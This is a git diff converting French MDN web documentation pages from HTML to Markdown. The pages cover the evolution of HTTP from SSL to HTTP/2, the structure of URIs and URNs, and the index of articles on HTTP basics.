+Grâce à son extensibilité (création aisée de nouvelles en-têtes et méthodes) et bien que le protocole HTTP/1.1 ait été amélioré par deux révisions - {{RFC("2616")}} publiée en juin 1999, et les séries {{RFC("7230")}}-{{RFC("7235")}} publiées en juin 2014, en prévision de la publication de HTTP/2 - ce protocole s'est montré extrêmement stable pendant plus de quinze ans. -

La modification principale du protocole HTTP a été faite vers la fin de l'année 1994. Au lieu d'envoyer HTTP vers une pile TCP/IP basique, Netscape Communication avait ajouté une couche additionnelle de transmission chiffrée : SSL. SSL 1.0 n'est jamais paru en-dehors des entreprises, mais SSL 2.0 et ses successeurs SSL 3.0 et SSL 3.1 ont permis aux sites web e-commerce, grâce au chiffrement, de garantir l'authenticité des messages échangés entre serveur et client. Le SSL a pris place dans les standards internationaux et est finalement devenu TLS. Ses versions 1.0, 1.1 et 1.2 sont apparues pour successivement mettre fin à des vulnérabilités. TLS 1.3 est actuellement en phase d'élaboration.

+### HTTP pour des transmissions sécurisées -

Dans le même temps, le besoin d'une couche de transport chiffrée s'est avéré de plus en plus nécessaire. Le Web avait perdu de la fiabilité relative d'un réseau principalement académique, pour devenir une jungle où publicitaires, individus problématiques aussi bien que criminels, rivalisent pour obtenir le maximum de données privées concernant les utilisateurs, tenter d'usurper leur identité, et même de remplacer les données transmises par des données altérées. Alors que les applications créées avec HTTP gagnaient en puissance, accédant à un nombre croissant de données privées - telles que listes de contacts, e-mail ou position géographique de l'utilisateur - le besoin d'obtenir TLS est devenu omniprésent, au-delà même des cas d'e-commerce.

+La modification principale du protocole HTTP a été faite vers la fin de l'année 1994. Au lieu d'envoyer HTTP vers une pile TCP/IP basique, Netscape Communication avait ajouté une couche additionnelle de transmission chiffrée : SSL. SSL 1.0 n'est jamais paru en-dehors des entreprises, mais SSL 2.0 et ses successeurs SSL 3.0 et SSL 3.1 ont permis aux sites web e-commerce, grâce au chiffrement, de garantir l'authenticité des messages échangés entre serveur et client. Le SSL a pris place dans les standards internationaux et est finalement devenu TLS. Ses versions 1.0, 1.1 et 1.2 sont apparues pour successivement mettre fin à des vulnérabilités. TLS 1.3 est actuellement en phase d'élaboration. -

Utilisation de HTTP dans des applications complexes

+Dans le même temps, le besoin d'une couche de transport chiffrée s'est avéré de plus en plus nécessaire. Le Web avait perdu de la fiabilité relative d'un réseau principalement académique, pour devenir une jungle où publicitaires, individus problématiques aussi bien que criminels, rivalisent pour obtenir le maximum de données privées concernant les utilisateurs, tenter d'usurper leur identité, et même de remplacer les données transmises par des données altérées. Alors que les applications créées avec HTTP gagnaient en puissance, accédant à un nombre croissant de données privées - telles que listes de contacts, e-mail ou position géographique de l'utilisateur - le besoin d'obtenir TLS est devenu omniprésent, au-delà même des cas d'e-commerce. -

La vision initiale du Web de Tim Berners-Lee ne se limitait pas uniquement à consulter des pages. Il imaginait un Web où tout un chacun pourrait ajouter et déplacer des documents à distance tel un système de fichiers distribué. Aux environs de 1996, HTTP a été étendu pour permettre l'édition. Un standard, appelé WebDAV fût alors créé. Il fut ensuite étendu à des applications spécifiques telles CardDAV pour gérer un répertoire d'adresses ou CalDAV pour gérer des calendriers. Toutes ces extensions se finissant par DAV avait une faiblesse : elles devaient être implémentées par le serveur pour pouvoir fonctionner, ce qui ne coulait pas de source. Leur utilisation au sein du Web est restée minimale.

+### Utilisation de HTTP dans des applications complexes -

En 2000, un nouveau modèle pour utiliser HTTP fût conçu : {{glossary("REST", "representational state transfer")}} (ou REST). Les actions induites par l'API n'étaient plus transmises par de nouvelles extensions de HTTP mais uniquement en accédant à des URIs à l'aides des méthodes HTTP/1.1 de base. Cela permettait à toute application web de fournir une API à partir de laquelle on autorisait la lecture ou l'écriture des données sans avoir à mettre à jour son serveur ou son navigateur web : tout ce dont on avait besoin était présent dans les fichiers transmis via les méthodes HTTP/1.1. L'inconvénient de l'approche REST étant que chaque site web définit son API REST non-standard et exerce un contrôle total à l'inverse des extensions *DAV ou les clients et les serveurs étaient interopérables. Les API REST sont devenues omniprésentes dans les années 2010.

+La vision initiale du Web de Tim Berners-Lee ne se limitait pas uniquement à consulter des pages. Il imaginait un Web où tout un chacun pourrait ajouter et déplacer des documents à distance tel un système de fichiers distribué. Aux environs de 1996, HTTP a été étendu pour permettre l'édition. Un standard, appelé WebDAV fût alors créé. Il fut ensuite étendu à des applications spécifiques telles CardDAV pour gérer un répertoire d'adresses ou CalDAV pour gérer des calendriers. Toutes ces extensions se finissant par DAV avait une faiblesse : elles devaient être implémentées par le serveur pour pouvoir fonctionner, ce qui ne coulait pas de source. Leur utilisation au sein du Web est restée minimale. -

Depuis 2005, le nombre d'APIs ouvertes sur des pages a énormément augmenté. Certaines APIs ont d'ailleurs étendu HTTP via des en-têtes HTTP spécifiques afin de répondre à des besoins particuliers tels que:

+En 2000, un nouveau modèle pour utiliser HTTP fût conçu : {{glossary("REST", "representational state transfer")}} (ou REST). Les actions induites par l'API n'étaient plus transmises par de nouvelles extensions de HTTP mais uniquement en accédant à des URIs à l'aides des méthodes HTTP/1.1 de base. Cela permettait à toute application web de fournir une API à partir de laquelle on autorisait la lecture ou l'écriture des données sans avoir à mettre à jour son serveur ou son navigateur web : tout ce dont on avait besoin était présent dans les fichiers transmis via les méthodes HTTP/1.1. L'inconvénient de l'approche REST étant que chaque site web définit son API REST non-standard et exerce un contrôle total à l'inverse des extensions \*DAV ou les clients et les serveurs étaient interopérables. Les API REST sont devenues omniprésentes dans les années 2010. - +Depuis 2005, le nombre d'APIs ouvertes sur des pages a énormément augmenté. Certaines APIs ont d'ailleurs étendu HTTP via des en-têtes HTTP spécifiques afin de répondre à des besoins particuliers tels que: -

Relâcher les contraintes du modèle de sécurité du Web

+- [Évènements générés par le serveur](/fr/docs/Web/API/Server-sent_events), le serveur peut éventuellement pousser des messages au navigateur. +- [WebSocket](/fr/docs/Web/API/WebSocket_API), un nouveau protocole qui peut être utilisé en passant à une version récente de HTTP. -

HTTP est indépendant du modèle de sécurité du Web, principalement créé via la same-origin policy. En réalité le modèle de sécurité du Web s'est développé après la création de HTTP. D'années en années, il s'est avéré utile de devenir plus tolérant en termes d'origine de contenu, en supprimant certaines restrictions, sous certaines conditions. L'étendue des restrictions levées ainsi que l'application est transmise au client à l'aide d'en-têtes HTTP. Ces en-têtes sont définis au travers des spécifications Cross-Origin Resource Sharing (CORS) ou Content Security Policy (CSP).

+### Relâcher les contraintes du modèle de sécurité du Web -

D'autres extensions de HTTP sont apparues, parfois de manière expérimentale. On mentionnera par exemple les en-têtes connus tels : Do Not Track (Ne pas me pister) ({{HTTPHeader("DNT")}}) permettant de contrôler la vie privée, {{HTTPHeader("X-Frame-Options")}}, ou {{HTTPHeader('Upgrade-Insecure-Requests')}} même s'il en existe beaucoup d'autres.

+HTTP est indépendant du modèle de sécurité du Web, principalement créé via la _[same-origin policy](/fr/docs/Web/Security/Same-origin_policy)_. En réalité le modèle de sécurité du Web s'est développé après la création de HTTP. D'années en années, il s'est avéré utile de devenir plus tolérant en termes d'origine de contenu, en supprimant certaines restrictions, sous certaines conditions. L'étendue des restrictions levées ainsi que l'application est transmise au client à l'aide d'en-têtes HTTP. Ces en-têtes sont définis au travers des spécifications [Cross-Origin Resource Sharing](/fr/docs/Glossary/CORS) (CORS) ou [Content Security Policy](/fr/docs/Web/Security/CSP) (CSP). -

HTTP/2 – Un protocole pour plus de performances

+D'autres extensions de HTTP sont apparues, parfois de manière expérimentale. On mentionnera par exemple les en-têtes connus tels : Do Not Track (Ne pas me pister) ({{HTTPHeader("DNT")}}) permettant de contrôler la vie privée, {{HTTPHeader("X-Frame-Options")}}, ou {{HTTPHeader('Upgrade-Insecure-Requests')}} même s'il en existe beaucoup d'autres. -

Au fur et à mesure, les pages web sont devenues de plus en plus complexes quitte à devenir des applications à part entière. La quantité de contenu multimédia ainsi que le nombre de scripts permettant plus d'interactivité ont aussi augmenté, ainsi de plus en plus de données sont transférées via des requêtes HTTP. Les connexions HTTP/1.1 nécessite un ordre séquentiel pour être correctement gérées. En théorie, il est possible d'utiliser plusieurs connexions en parallèle (généralement entre 5 et 8), néanmoins, cela implique beaucoup d'adaptation et apporte énormément de complexité. Ainsi, le pipelining HTTP s'est révélé être un fardeau dans le monde du développement web.

+## HTTP/2 – Un protocole pour plus de performances -

Dans la première moitié des années 2010, Google a montré qu'il était possible d'utiliser une manière différente de communication entre un serveur et un navigateur, ce protocole expérimental porte le nom de SPDY. Cela a intéressé bon nombre de développeurs, que ce soit au niveau des serveurs ou des navigateurs. En augmentant la réactivité et en éliminant la duplication des données transmises, SPDY posa les bases du protocole HTTP/2.

+Au fur et à mesure, les pages web sont devenues de plus en plus complexes quitte à devenir des applications à part entière. La quantité de contenu multimédia ainsi que le nombre de scripts permettant plus d'interactivité ont aussi augmenté, ainsi de plus en plus de données sont transférées via des requêtes HTTP. Les connexions HTTP/1.1 nécessite un ordre séquentiel pour être correctement gérées. En théorie, il est possible d'utiliser plusieurs connexions en parallèle (généralement entre 5 et 8), néanmoins, cela implique beaucoup d'adaptation et apporte énormément de complexité. Ainsi, le _pipelining_ HTTP s'est révélé être un fardeau dans le monde du développement web. -

Le protocole HTTP/2 diffère de HTTP/1.1 sur plusieurs aspects:

+Dans la première moitié des années 2010, Google a montré qu'il était possible d'utiliser une manière différente de communication entre un serveur et un navigateur, ce protocole expérimental porte le nom de SPDY. Cela a intéressé bon nombre de développeurs, que ce soit au niveau des serveurs ou des navigateurs. En augmentant la réactivité et en éliminant la duplication des données transmises, SPDY posa les bases du protocole HTTP/2. -
    -
  • Il est encodé en binaire plutôt qu'en texte. Il ne peut donc plus être lu ou écrit à la main. Malgré cette difficulté, il est désormais possible d'implémenter des techniques d'optimisation avancée.
    • -
  • C'est un protocole multiplexé. Plusieurs requêtes en parallèle peuvent être gérées au sein de la même connexion, supprimant ainsi la limitation séquentielle de HTTP/1.x.
    • -
  • HTTP/2 compresse les en-têtes, étant donné que des en-têtes similaires sont échangés lors d'une suite de requêtes, on supprime ainsi la duplication et l'échange inutiles des données similaires.
    • -
  • Il permet au serveur de remplir le cache du client avant qu'il ne soit demandé par ce dernier, on parle alors d'évènements générés par le serveur.
    • -
+Le protocole HTTP/2 diffère de HTTP/1.1 sur plusieurs aspects: -

Devenu un standard officiel en mai 2015, HTTP/2 a rencontré un large succès. En janvier 2018, 23.9% des sites web utilisent HTTP/2 (8.7% en 2016) (source). Ce qui représentait en 2015 plus de 68% des requêtes (source). Les sites web générant beaucoup de trafic montre un taux d'adoption très rapide, ce qui s'explique par le gain de bande passante et les économies ainsi générées.

+- Il est encodé en binaire plutôt qu'en texte. Il ne peut donc plus être lu ou écrit à la main. Malgré cette difficulté, il est désormais possible d'implémenter des techniques d'optimisation avancée. +- C'est un protocole multiplexé. Plusieurs requêtes en parallèle peuvent être gérées au sein de la même connexion, supprimant ainsi la limitation séquentielle de HTTP/1.x. +- HTTP/2 compresse les en-têtes, étant donné que des en-têtes similaires sont échangés lors d'une suite de requêtes, on supprime ainsi la duplication et l'échange inutiles des données similaires. +- Il permet au serveur de remplir le cache du client avant qu'il ne soit demandé par ce dernier, on parle alors d'évènements générés par le serveur. -

Cette adoption fulgurante de HTTP/2 s'explique probablement par le fait que cette nouvelle version ne nécessite pas de mise à jour des sites web et des applications, l'utilisation de HTTP/1.x ou HTTP/2 étant transparente. Il suffit qu'un serveur à jour et un navigateur moderne communiquent pour que cela fonctionne. La traction générée par les premiers utilisateurs ainsi que le renouvellement des serveurs devenant obsolètes entraînent la croissance de HTTP/2 sans que cela requiert des efforts supplémentaires.

+Devenu un standard officiel en mai 2015, HTTP/2 a rencontré un large succès. En janvier 2018, 23.9% des sites web utilisent HTTP/2 (8.7% en 2016) ([source](https://w3techs.com/technologies/details/ce-http2/all/all)). Ce qui représentait en 2015 plus de 68% des requêtes ([source](https://www.keycdn.com/blog/http2-statistics/)). Les sites web générant beaucoup de trafic montre un taux d'adoption très rapide, ce qui s'explique par le gain de bande passante et les économies ainsi générées. -

Après HTTP/2

+Cette adoption fulgurante de HTTP/2 s'explique probablement par le fait que cette nouvelle version ne nécessite pas de mise à jour des sites web et des applications, l'utilisation de HTTP/1.x ou HTTP/2 étant transparente. Il suffit qu'un serveur à jour et un navigateur moderne communiquent pour que cela fonctionne. La traction générée par les premiers utilisateurs ainsi que le renouvellement des serveurs devenant obsolètes entraînent la croissance de HTTP/2 sans que cela requiert des efforts supplémentaires. -

HTTP n'a pas cessé d'évoluer depuis la parution de HTTP/2, de la même manière que pour HTTP/1.x, la modularité de HTTP permet toujours de lui ajouter de nouvelles fonctionnalités. Il est ainsi possible de mentionner les en-têtes suivants apparus en 2016 :

+## Après HTTP/2 -
    -
  • Prise en charge de {{HTTPHeader("Alt-Svc")}} qui permet de dissocier l'identification d'une ressource de son emplacement, permettant une optimisation du cache {{Glossary("CDN")}}.
    • -
  • L'apparition de {{HTTPHeader("Client-Hints")}} qui permet au navigateur ou client de transmettre directement au serveur des informations relatives à ses contraintes matérielles propres.
    • -
  • L'apparition de préfixes liés à la sécurité dans l'en-tête {{HTTPHeader("Cookie")}} permet désormais de s'assurer qu'un cookie sécurisé n'a pas été modifié
    • -
+HTTP n'a pas cessé d'évoluer depuis la parution de HTTP/2, de la même manière que pour HTTP/1.x, la modularité de HTTP permet toujours de lui ajouter de nouvelles fonctionnalités. Il est ainsi possible de mentionner les en-têtes suivants apparus en 2016 : -

Cette évolution de HTTP montre sa modularité ainsi que sa simplicité, permettant la création d'applications et l'adoption du protocole. L'environnement au sein duquel HTTP évolue à l'heure actuelle est sensiblement différent de celui dans lequel il a été créé au début des années 1990. La conception de HTTP s'avère aujourd'hui être un véritable chef-d’œuvre, elle a permis au Web d'évoluer sur un quart de siècle sans créer de scissions. En corrigeant les failles et en continuant à supporter le caractère extensible du protocole, HTTP/2 laisse présager d'un avenir brillant pour ce protocole.

-
-
+- Prise en charge de {{HTTPHeader("Alt-Svc")}} qui permet de dissocier l'identification d'une ressource de son emplacement, permettant une optimisation du cache {{Glossary("CDN")}}. +- L'apparition de {{HTTPHeader("Client-Hints")}} qui permet au navigateur ou client de transmettre directement au serveur des informations relatives à ses contraintes matérielles propres. +- L'apparition de préfixes liés à la sécurité dans l'en-tête {{HTTPHeader("Cookie")}} permet désormais de s'assurer qu'un cookie sécurisé n'a pas été modifié + +Cette évolution de HTTP montre sa modularité ainsi que sa simplicité, permettant la création d'applications et l'adoption du protocole. L'environnement au sein duquel HTTP évolue à l'heure actuelle est sensiblement différent de celui dans lequel il a été créé au début des années 1990. La conception de HTTP s'avère aujourd'hui être un véritable chef-d’œuvre, elle a permis au Web d'évoluer sur un quart de siècle sans créer de scissions. En corrigeant les failles et en continuant à supporter le caractère extensible du protocole, HTTP/2 laisse présager d'un avenir brillant pour ce protocole. diff --git a/files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.md b/files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.md index 113f4f10b2..23eaf74c4f 100644 --- a/files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.md +++ b/files/fr/web/http/basics_of_http/identifying_resources_on_the_web/index.md @@ -6,165 +6,100 @@ tags: translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web original_slug: Web/HTTP/Basics_of_HTTP/Identifier_des_ressources_sur_le_Web --- -
{{HTTPSidebar}}
- -

La cible d'une requête HTTP est appelée une "ressource", elle ne possède pas de type particulier. Il peut s'agir d'un document, d'une photo ou de n'importe quoi d'autre. Chaque ressource est identifiée à l'aide d'une Uniform Resource Identifier ({{Glossary("URI")}}) utilisé au sein de HTTP pour identifier les ressources.

- -

L'identité et l'emplacement d'une ressource sur le Web sont souvent déterminées via une URL (Uniform Resource Locator° un type d'URI. Il existe des cas valides où l'identité et l'emplacement d'une ressource ne sont pas obtenus par la même URI comme lorsque l'en-tête {{HTTPHeader("Alt-Svc")}} est utilisé. La ressource requise par le client doit alors être récupérée à partir d'un emplacement différent.

- -

URLs et URNs

- -

URLs

- -

La forme la plus commune des URI est l'URL (Uniform Resource Locator ({{Glossary("URL")}})) que l'on connaît sous le nom d'adresse web.

- -
https://developer.mozilla.org
-https://developer.mozilla.org/fr/docs/Learn/
-https://developer.mozilla.org/fr/search?q=URL
- -

Vous pouvez entrer chacune de ces URLs dans votre navigateur pour lui demander de charger la page associée (il s'agit ici de la ressource).

- -

Une URL est composée de différentes parties, certaines obligatoires et d'autres facultatives. Voici un exemple plus complet :

- -
http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument
- -

URNs

- -

Une URN ou Uniform Resource Name est une URI qui identifie une ressource à l'aide d'un nom dans un espace de noms (namespace) particulier.

- -
urn:isbn:9780141036144
-urn:ietf:rfc:7230
-
- -

Ces deux URNs correspondent :

- -
    -
  • au livre 1984 de George Orwell,
    • -
  • La spécification IETF 7230, Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing.
    • -
- -

Syntaxe des URIs (Uniform Resource Identifiers)

- -

Schéma ou protocole

- -
-
Protocole
-
http:// constitue le protocole, il indique le protocole qui doit être utilisé par le navigateur. Il s'agit généralement de HTTP ou de sa variante sécurisée HTTPS. Le Web nécessite l'un ou l'autre de ces protocoles néanmoins, les navigateurs sont capables de gérer d'autres protocoles tels que mailto: (pour ouvrir un client mail) or ftp: pour gérer un transfert de fichier. Essayez, lorsque vous naviguez, d'identifier les protocoles utilisés. Les schémas usuels sont :
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SchémaDescription
dataURIs de données
fileFichiers du système hôte sur lequel est installé le navigateur
ftpFile Transfer Protocol
http/httpsHyper text transfer protocol (sécurisé)
mailtoAdresse électronique
sshSecure shell
teltéléphone
urnUniform Resource Names
view-sourcecode source de la ressource
ws/wssconnexions (chiffrées) WebSocket
- -

Autorité

- -
-
Nom de domaine
-
www.exemple.com est le nom de domaine ou l'autorité qui gère cet espace de noms. Il indique quel serveur Web est appelé. Il est aussi possible d'utiliser directement une adresse IP ({{Glossary("IP address")}}), néanmoins elles sont moins pratiques à manipuler pour des humains et sont donc moins fréquemment utilisées pour accéder à une ressource sur le Web.
-
- -

Port

- -
-
Port
-
:80 constitue le port. Il indique la "porte" technique à utiliser pour accéder à une ressource sur un serveur web. Il est généralement omis puisque le serveur web utilisera par défaut les ports standards pour HTTP (port 80 pour HTTP et 443 pour HTTPS) pour permettre l'accès aux ressources qu'il héberge. Dans le cas où le port par défaut n'est pas celui utilisé, il est obligatoire de le spécifier.
-
- -

Chemin

- -
-
Chemin du fichier
-
/chemin/du/fichier.html constitue le chemin d'accès à la ressource sur le serveur web. Au début du Web, le chemin représentait un emplacement physique où le fichier était stocké, à l'heure actuelle il s'agit d'une abstraction gérée par le serveur web sans réelle existence physique..
-
- -

Requête

- -
-
Paramètres
-
?key1=value1&key2=value2 sont des paramètres additionnels fournis au serveur web. Ces paramètres sont un ensemble de clés/valeurs séparé par le symbole &. Le serveur web peut utiliser ces paramètres pour effectuer des tâches avant de retourner une ressource au client. Chaque serveur web possède ses propres règles en ce qui concerne la gestion des paramètres.
-
- -

Fragment

- -
-
Ancre
-
#QuelquePartDansLeDocument est une ancre vers un morceau de la ressource en particulier, elle constitue une sorte de marque-page à l'intérieur de la ressource. Cela permet au navigateur de savoir où aller pour afficher le contenu à l'emplacement de l'ancre. Au sein d'une page HTML par exemple, le navigateur défilera jusqu'à ce point. Pour un document vidéo ou audio, le navigateur essaiera d'accéder au temps indiqué par l'ancre. On notera que la partie située après le caractère #, aussi appelé le fragment, n'est jamais envoyé au serveur avec la requête.
-
- -

Exemples

- -
https://developer.mozilla.org/en-US/docs/Learn
-tel:+1-816-555-1212
-git@github.com:mdn/browser-compat-data.git
-ftp://example.org/resource.txt
-urn:isbn:9780141036144
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
- -

Voir aussi

- - +{{HTTPSidebar}} + +La cible d'une requête HTTP est appelée une "ressource", elle ne possède pas de type particulier. Il peut s'agir d'un document, d'une photo ou de n'importe quoi d'autre. Chaque ressource est identifiée à l'aide d'une _Uniform Resource Identifier_ ({{Glossary("URI")}}) utilisé au sein de HTTP pour identifier les ressources. + +L'identité et l'emplacement d'une ressource sur le Web sont souvent déterminées via une URL (*Uniform Resource Locator*° un type d'URI. Il existe des cas valides où l'identité et l'emplacement d'une ressource ne sont pas obtenus par la même URI comme lorsque l'en-tête {{HTTPHeader("Alt-Svc")}} est utilisé. La ressource requise par le client doit alors être récupérée à partir d'un emplacement différent. + +## URLs et URNs + +### URLs + +La forme la plus commune des URI est l'URL (_Uniform Resource Locator_ ({{Glossary("URL")}})) que l'on connaît sous le nom d'adresse web. + + https://developer.mozilla.org + https://developer.mozilla.org/fr/docs/Learn/ + https://developer.mozilla.org/fr/search?q=URL + +Vous pouvez entrer chacune de ces URLs dans votre navigateur pour lui demander de charger la page associée (il s'agit ici de la ressource). + +Une URL est composée de différentes parties, certaines obligatoires et d'autres facultatives. Voici un exemple plus complet : + + http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument + +### URNs + +Une URN ou _Uniform Resource Name_ est une URI qui identifie une ressource à l'aide d'un nom dans un espace de noms (namespace) particulier. + + urn:isbn:9780141036144 + urn:ietf:rfc:7230 + +Ces deux URNs correspondent : + +- au livre 1984 de George Orwell, +- La spécification IETF 7230, Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing. + +## Syntaxe des URIs (Uniform Resource Identifiers) + +### Schéma ou protocole + +- ![Protocole](mdn-url-protocol@x2.png) + - : `http://` constitue le protocole, il indique le protocole qui doit être utilisé par le navigateur. Il s'agit généralement de HTTP ou de sa variante sécurisée HTTPS. Le Web nécessite l'un ou l'autre de ces protocoles néanmoins, les navigateurs sont capables de gérer d'autres protocoles tels que `mailto:` (pour ouvrir un client mail) or `ftp:` pour gérer un transfert de fichier. Essayez, lorsque vous naviguez, d'identifier les protocoles utilisés. Les schémas usuels sont : + +| Schéma | Description | +| ----------- | ------------------------------------------------------------------- | +| data | [URIs de données](/fr/docs/Web/HTTP/Basics_of_HTTP/Data_URIs) | +| file | Fichiers du système hôte sur lequel est installé le navigateur | +| ftp | [File Transfer Protocol](/fr/docs/Glossary/FTP) | +| http/https | [Hyper text transfer protocol (sécurisé)](/fr/docs/Glossary/HTTP) | +| mailto | Adresse électronique | +| ssh | Secure shell | +| tel | téléphone | +| urn | Uniform Resource Names | +| view-source | code source de la ressource | +| ws/wss | connexions (chiffrées) [WebSocket](/fr/docs/Web/API/WebSockets_API) | + +### Autorité + +- ![Nom de domaine](mdn-url-domain@x2.png) + - : `www.exemple.com` est le nom de domaine ou l'autorité qui gère cet espace de noms. Il indique quel serveur Web est appelé. Il est aussi possible d'utiliser directement une adresse IP ({{Glossary("IP address")}}), néanmoins elles sont moins pratiques à manipuler pour des humains et sont donc moins fréquemment utilisées pour accéder à une ressource sur le Web. + +### Port + +- ![Port](mdn-url-port@x2.png) + - : `:80` constitue le port. Il indique la "porte" technique à utiliser pour accéder à une ressource sur un serveur web. Il est généralement omis puisque le serveur web utilisera par défaut les ports standards pour HTTP (port 80 pour HTTP et 443 pour HTTPS) pour permettre l'accès aux ressources qu'il héberge. Dans le cas où le port par défaut n'est pas celui utilisé, il est obligatoire de le spécifier. + +### Chemin + +- ![Chemin du fichier](mdn-url-path@x2.png) + - : `/chemin/du/fichier.html` constitue le chemin d'accès à la ressource sur le serveur web. Au début du Web, le chemin représentait un emplacement physique où le fichier était stocké, à l'heure actuelle il s'agit d'une abstraction gérée par le serveur web sans réelle existence physique.. + +### Requête + +- ![Paramètres](mdn-url-parameters@x2.png) + - : `?key1=value1&key2=value2` sont des paramètres additionnels fournis au serveur web. Ces paramètres sont un ensemble de clés/valeurs séparé par le symbole `&`. Le serveur web peut utiliser ces paramètres pour effectuer des tâches avant de retourner une ressource au client. Chaque serveur web possède ses propres règles en ce qui concerne la gestion des paramètres. + +### Fragment + +- ![Ancre](mdn-url-anchor@x2.png) + - : `#QuelquePartDansLeDocument` est une ancre vers un morceau de la ressource en particulier, elle constitue une sorte de marque-page à l'intérieur de la ressource. Cela permet au navigateur de savoir où aller pour afficher le contenu à l'emplacement de l'ancre. Au sein d'une page HTML par exemple, le navigateur défilera jusqu'à ce point. Pour un document vidéo ou audio, le navigateur essaiera d'accéder au temps indiqué par l'ancre. On notera que la partie située après le caractère #, aussi appelé le fragment, n'est jamais envoyé au serveur avec la requête. + +## Exemples + + https://developer.mozilla.org/en-US/docs/Learn + tel:+1-816-555-1212 + git@github.com:mdn/browser-compat-data.git + ftp://example.org/resource.txt + urn:isbn:9780141036144 + +## Spécifications + +| Spécification | Titre | +| ------------------------------------------------------------------------ | ------------------------------------------------------------------ | +| {{RFC("7230", "Uniform Resource Identifiers", "2.7")}} | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing | + +## Voir aussi + +- [Qu'est-ce qu'une URL ?](/fr/docs/Learn/Common_questions/What_is_a_URL) +- [La liste des différents schémas des URIs, maintenue par l'IANA](https://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml) diff --git a/files/fr/web/http/basics_of_http/index.md b/files/fr/web/http/basics_of_http/index.md index 0276210a16..04b4f658b9 100644 --- a/files/fr/web/http/basics_of_http/index.md +++ b/files/fr/web/http/basics_of_http/index.md @@ -6,43 +6,41 @@ tags: - HTTP translation_of: Web/HTTP/Basics_of_HTTP --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

HTTP est un protocole extensible. Il s'appuie sur quelques concepts basiques comme la notion de ressources et d'URI, une structure de messages simple et une structure client-serveur pour le flux de communication. En plus de ces concepts basiques, de nombreuses extensions du protocole sont apparues au fil des ans, ajoutant de nouvelles fonctionnalités et de nouvelle syntaxes en créant de nouvelles méthodes ou en-têtes HTTP.

+HTTP est un protocole extensible. Il s'appuie sur quelques concepts basiques comme la notion de ressources et d'URI, une structure de messages simple et une structure client-serveur pour le flux de communication. En plus de ces concepts basiques, de nombreuses extensions du protocole sont apparues au fil des ans, ajoutant de nouvelles fonctionnalités et de nouvelle syntaxes en créant de nouvelles méthodes ou en-têtes HTTP. -

Articles

+## Articles -
-
Vue d'ensemble de HTTP
-
Décrit ce qu'est HTTP et son rôle dans l'architecture du Web ainsi que sa position dans la pile de protocoles.
-
Évolution de HTTP
-
HTTP a été créé au début des années 1990 et a été étendu plusieurs fois. Cet article relate son histoire et décrit HTTP/0.9, HTTP/1.0, HTTP/1.1, et le récent HTTP/2. Les nouveautés mineures introduites au fil des ans sont aussi présentées.
-
Négocier une version HTTP
-
Explique comment un client et un serveur peuvent négocier une version HTTP spécifique pour pouvoir utiliser une version plus récente du protocole.
-
Ressources et URIs
-
Une brève introduction à la notion de ressources, d'identifiants, et de localisations sur le web.
-
Identifier des ressources sur le web
-
Décrit comment les ressources web sont référencées et comment les localiser.
-
URIs de données
-
Un type d'URIs spécifique qui intègre directement la ressource qu'il représente. Les URIs de données sont très commodes mais s'accompagnent de quelques mises en garde.
-
URLs de ressources
-
Les URLs de ressources, qui sont préfixées par le schéma resource: sont utilisées par Firefox et les extensions de Firefox pour charger des ressources de façon interne, néanmoins une partie de l'information est exposée aux sites web lorsque le navigateur s'y connecte.
-
Séparer l'identité et la localisation d'une ressource : l'en-tête HTTP Alt-Svc (Alternative Service)
-
La plupart du temps, l'identité et la localisation d'une ressource web sont associées. Cela peut être modifié avec l'en-tête {{HTTPHeader("Alt-Svc")}}.
-
Types MIME
-
Depuis HTTP/1.0, différents types de contenus peuvent être transmis. Cet article explique comment cela est fait via l'utilisation de l'en-tête {HTTPHeader("Content-Type")}} et le standard MIME.
-
Choisir entre des URL de type www ou non
-
Conseil sur l'utilisation d'un domaine préfixé ou non par www. Cet article explique les conséquences de ce choix aussi que les facteurs à considérer lors du choix.
-
Flux d'une session HTTP
-
Cet article fondamental décrit une session HTTP typique ; c'est-à-dire ce qui se passe "sous le capot" quand vous cliquez sur un lien dans votre navigateur ...
-
Messages HTTP
-
Les messages HTTP transmis pendant les requêtes ou les réponses ont une structure très claire. Cet article d'introduction décrit cette structure, son but et les possibilités qu'elle offre.
-
Trame et structure de message en HTTP/2
-
HTTP/2 représente les messages HTTP/1.x par une trame binaire. Cet article explique la structure de la trame, son but et la manière dont elle est encodée.
-
Gestion des connexions en HTTP/1.x
-
HTTP/1.1 était la première version d'HTTP à supporter les connexions persistantes et la combinaison de requêtes dans une seule connexion. Cet article explique ces deux concepts.
-
Gestion des connexions en HTTP/2
-
HTTP/2 a complètement revisité la manière dont les connexions sont créées et maintenues. Cet article explique comment les trames HTTP permettent le multiplexage et résolvent le problème de la trame bloquante ('head-of-line' blocking) des précédentes versions.
-
Négociation du contenu
-
HTTP introduit une série d'en-têtes commençant par Accept- permettant a un navigateur d'annoncer le format, la langue ou l'encodage qu'il préfère. Cet article explique comment cette préférence est déclarée, quelle réaction est attendue de la part du serveur et comment celui-ci choisit la réponse la plus adéquate possible.
-
